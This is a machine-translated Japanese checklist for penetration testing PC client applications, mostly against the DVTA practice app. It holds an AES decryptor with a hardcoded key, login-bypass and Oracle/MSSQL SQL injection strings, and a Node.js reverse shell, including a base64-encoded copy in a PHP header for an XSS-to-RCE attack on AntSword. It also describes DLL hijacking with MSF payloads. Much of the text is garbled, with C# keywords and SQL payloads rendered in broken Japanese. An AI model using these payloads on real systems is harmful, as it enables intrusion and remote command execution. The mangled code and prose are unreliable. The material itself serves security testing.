Jump to content

0x00はじめに

このプロジェクトは、主にPCクライアント(CSアーキテクチャ)の浸透テストをターゲットにしており、独自のテストエクスペリエンスとネットワークデータを組み合わせてチェックリストを形成します。ご質問がある場合は、お問い合わせください。さらに、より多くのスキルとケースを提供してください。

0x01概要

PCクライアント、豊富な機能を備えたGUI、C-Sアーキテクチャ。

1049983-20221108104634024-1259424875.jpg

0x02開発言語

C#(.NET)、Java、Delphi、C、C ++ .

0x03プロトコル

TCP、HTTP(S)、TDS .

0x04データベース

Oracle、MSSQL、DB2 .

0x05テストツール

//関連ツールのダウンロード:https://github.com/thelsa/hack-cs-tools

DVTA:PCクライアントシューティングレンジ

IDA Pro:静的分析ツール

ollydbg:動的分析ツール

CFFエクスプローラー:PEファイル分析

PEID:シェルチェックツール

ExeinFope/Studype:PEファイル分析

Wireshark:トラフィックを観察します

TCPView:TCPトラフィックを観察します

エコーミラージュ:TCPトラフィックを傍受できます

BURPSUITE:HTTP(S)パケットキャプチャ

プロキシファイア:グローバルプロキシトラフィック

Procmon:ファイルとレジストリの監視

Regshot:レジストリの変更比較

プロセスハッカー:プロセス分析

regfromApp:レジストリ監視

wsexplorer:年間アライアンスプロセスパケットキャッチツール

文字列:プログラムの文字列を表示します

.net [anti] compilation:

dotpeek

de4dot

dnspy

ilspy

sae

イルダム

ilasm

Javaの逆コンパイル

ジャド

jd-gui

JADX

dex2jar

オンラインバージョン:

Javare.cn

www.javadecompilers.com

Reflexil:アセンブリエディター(ILSPYプラグインとして使用できます)

VCG:自動コード監査ツール

Binscope:Binscope

0x06エージェント設定

ほとんどのクライアントにはプロキシ構成関数がなく、次のようにグローバルプロキシをセットアップする必要があります。

1)IEインターネット設定と接続-LAN設定。

2)プロキシフィア - プロキシサーバー/プロキシフィスルール

//HTTPのトラフィックをBurpsuiteと組み合わせることで、簡単にテストすることができます(プロキシサーバーはプロキシアドレスに設定されます)。

1049983-20221108104634768-958814794.jpg 1049983-20221108104635462-1302757946.jpg 1049983-20221108104636140-1382229849.jpg

0x07テストポイント

0。 情報収集

コンピレーション情報、開発環境/言語、使用法プロトコル、データベース、IP、難読化/暗号化、シェルなど。

ケース0-CFFクライアント情報を表示(コンピレーション環境など)

DVTA

1049983-20221108104636932-933767068.jpg

1。リバースエンジニアリング

逆コンパイル、ソースコードリーク、ハードコーディングキー/パスワード、暗号化され、復号化されたロジック、役割判断ロジック(0-Admin、1-ノルマルーザー)、バックドアなど。

ケース0-暗号化と復号化ロジックを取得し、復号化ツールを書き込むための逆コンパイル

DVTA

1049983-20221108104637715-765430904.jpgこのロジックと1049983-20221108104638416-2062982296.jpgの導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報

AES KEY:J8GLXC454O5TW2HEF7HAHCXPUFJ9V8K8

IV:FQ20T0GMNXA6G0L4

復号化ツールを書きます

システムの使用。 System.collections.genericを使用しています。 System.comPonentModelを使用しています。 System.Dataを使用しています。

System.drawingを使用しています。

System.linqを使用しています。

System.textを使用しています。

System.threading.tasksを使用しています。

system.windows.formsを使用しています。

System.security.cryptographyを使用します。

名前空間aesdecrypt

{

パブリック部分クラスaesdecrypt :フォーム

{

public aesdecrypt()

{

initializeComponent();

}

private void decrypt(オブジェクト送信者、eventargs e)

{

string key="j8glxc454o5tw2hef7hahcxpufj9v8k8";

文字列iv="fq20t0gmnxa6g0l4";

string encryptedtext="ctsvjz0jqghxywbsrcpxpq==";

byte [] encryptedbytes=convert.frombase64string(encryptedText);

aescryptoserviceprovider aes=new aescryptoserviceprovider();

aes.blocksize=128;

aes.keysize=256;

aes.key=system.text.asciiencoding.ascii.getBytes(key);

aes.iv=system.text.asciiencoding.ascii.getBytes(iv);

aes.padding=paddingmode.pkcs7;

aes.mode=ciphermode.cbc;

icryptotransform crypto=aes.createdecryptor(aes.key、aes.iv);

byte [] decryptedBytes=crypto.transformfinalblock(encryptedbytes、0、encryptedbytes.length);

string decryptedstring=system.text.ascieencoding.ascii.getString(decryptedbytes);

console.writeLine( "\ n");

Console.WriteLine( "############### Decryptデータベースパスワード############# \ n");

console.writeLine( "Decrypted Database password:" + DecryptedString + "\ n");

console.writeLine( "############## DONE ############### \ n");

}

}

}

//https://resources.infosecinstitute.com/damn-vulnerable-client-app-part-5/#articleから発信された復号化コード

ケース1-コードロジックを逆コンパイルして変更して、通常のユーザーが管理者としてログインできるように

DVTA

1-イザドミン

0-ノルマルサー

1を0に変更して、管理者を決定します

1049983-20221108104639124-63071411.jpg 1049983-20221108104639654-178729771.jpg

2。情報漏れ

プレーンテキストに敏感な情報、機密ファイル(インストールディレクトリのxxx.configなど)。

レジストリ:Regshotを使用して、クライアントの実行前後のレジストリの違い(ログインなど)を比較します。

開発およびデバッグログリーク(DVTA.EXE LOG.TXTなど)

プロセスハッカーは、クライアントメモリに単純なテキストに敏感なデータ(アカウントパスワード/キーなど)を表示します。

文字列は、クライアント文字列(IP情報など)を直接表示します。

ソースコード(Github、Giteeなどなど)を表示

ケース0コンフィ分率の機密情報漏れ

DVTA

1049983-20221108104640337-185140653.jpg

ケース1メモリーリークデータベースアカウントパスワード

DVTA

1049983-20221108104641053-86634704.jpg

ケース2-ソースコードには、ハードコーディングされたFTPアカウントパスワードが含まれています

DVTA

1049983-20221108104641808-1344115235.jpgケース3開発およびデバッグログリーク

DVTA

1049983-20221108104642490-566933343.jpg

ケース4-特定のシステムにログインした後、アカウントパスワードをローカルに保存する1049983-20221108104643196-1110193214.jpg //

FTPなどのプロトコルによってプレーンテキストで送信されたアカウントパスワード

SQLステートメントプレーンテキストトランスミッション(コンストラクトインジェクション、過剰柔軟性などの使用など)

ケース0 -Zhengfang Academic Affairs System SQL Statement送信プレーンテキスト、プレーンテキストデータを返します

1049983-20221108104643906-438017818.jpg 1049983-20221108104644569-294447733.jpg

//このケースはウーユから来ています

ケース1-データパケットは、特定のシステムログインでデータベースアカウントパスワードを返します

1049983-20221108104645325-238625889.jpg

3。トランスミッショントラフィック

4。その他の脆弱性

ケース0

1049983-20221108104646023-1455694132.jpg 1049983-20221108104646723-650031357.jpg :01010ログイン機能など。

ケース0

1049983-20221108104647308-1028946722.jpg

ユーザー名列挙

Admin 123456などを試すことができます。

ブルートフォースの亀裂

弱いパスワード

ケース0

1049983-20221108104648098-1704429592.jpgケース1 1049983-20221108104648889-383046263.jpg :010ログインの場合、ユニバーサルパスワード

xxx ’または「x」=’ x

xxx ’または1=1--

入力ボックスで、 '、'、 'などの閉じたエラーを作成します)、%')、100 ---などで注文

データは、ディスプレイビットまたはエラーを使用して注入されます。原則はWebインジェクションと同じであり、異なるデータベースは類似しています。

症例0オラクル注入

'Union Select Null、null、(dualの選択ユーザーを選択)、null、null、(sys.v_ $ hwore where rownum=1からselect banner=1)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null -

1049983-20221108104649612-1122024135.jpgケース1-MSSQL注射

111 ')および(ユーザーを選択)0--

1049983-20221108104650282-856059893.jpg

個人的なクリアテキスト送信

Excelをエクスポートする場合は、1+1を入力して、エクスポート後2かどうかを確認します。

電子、nodewebkitなどの

sqlステートメントが公開されました

ケース0-Chinese Ant Sword XSSからRCE

環境:WIN7+PHPSTUDY(PHP5.6.27-NTS)+PERL+NC+ANTSWORD2.0.5

XSS WebShell:

?php

ヘッダー( 'http/1.1 500 img src=#onerror=alertx');

1049983-20221108104650932-527561671.jpgWindows+node.js:

成功

var net=require( 'net')、sh=require( 'child_process')。exec( 'cmd.exe');

var client=new Net.Socket();

client.connect(6677、 '127.0.0.1'、function(){client.pipe(sh.stdin); sh.stdout.pipe(client);

sh.stderr.pipe(client);});

?php

ヘッダー( 'HTTP/1.1 500 NOT IMG SRC=#ONERROR=' Eval(newバッファー(dmfyig5ldca9ihjlcxvpcmuoim5ldciplcbzaca9ihjlcxvpcmuoimnoawxkx3byb2nlc3miks 5Legvjkcjbwquzxhliik7cnzhcibjbgllbnqgpsbuzxcgbmv0llnvy2tldcgpowpjbgllbnquy29ubmvj dcg2njc3lcaimti3ljaumc4xiiwgznvuy3rpb24okxtjbgllbnqucglwzshzac5zdgrpbik7c2guc3rkb3 v0lnbpcguoy2xpzw50ktskc2guc3rkzxjylnbpcguoy2xpzw50ktt9kts=、base64).toString()) '');

1049983-20221108104651615-404403462.jpg関連するリファレンス

https://www.anquanke.com/post/id/176379

コマンド実行

ケース0-EverNoteWindowsクライアント6.15ローカルファイルの読み取りとリモートコマンドの実行http://BLOG.KNOWNSSEC.COM/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AEB0-WINDOWS-E5%AE%A2%E6%88%B7%E7%ABATAF-ACAF-6-15-%% E6%A6 9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e5%92%8c%e8%bf%9c%

ケース1-AクラウドPCクライアントコマンド実行マイニングプロセス

https://www.secpulse.com/archives/53852.html

ケース2-Kingsoft WPSメールメールクライアントリモートコマンド実行の脆弱性(MozillaベースのXULプログラム利用のヒント)

https://shuimugan.com/bug/view?bug_no=193117

テストポイントはWebと同じです。

dll hijacks linuxファイル検索注文:

現在のディレクトリパス注文値ディレクトリプログラム検索DLL注文:

//絶対パスは提供されていません

1.アプリケーションがロードされるディレクトリ。

2。現在のディレクトリ。

3。SystemDirectory(C: \ Windows \ System32 \)。

4.16ビットシステムディレクトリ。

5。Windowsディレクトリ。

6。パス変数のディレクトリ。

このプログラムは、攻撃者によって配置された悪意のあるDLLをロードできます。

Procmonを使用して、プログラムによってロードされたDLLを検索し、見つからない名前を観察します。

MSFは悪意のあるDLLを生成し、プログラムの読み込み場所に配置します。プログラムを実行すると、ペイロードをトリガーできます。

ケース0-dllハイジャック

DVTA

1049983-20221108104652298-1657972408.jpg 1049983-20221108104653027-338832542.jpg

SQL注入

テストポイントはWebと同じです。

CSV注入

レジストリキー値、承認サーバーは情報構築を返します。

関連するリファレンス

https://cloud.tencent.com/developer/article/1430899

xss

ケース0 Zhengfang Academic Affairs Systemデータベースの任意の操作

IPを知ることでデータベースを引き継ぐことができます

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...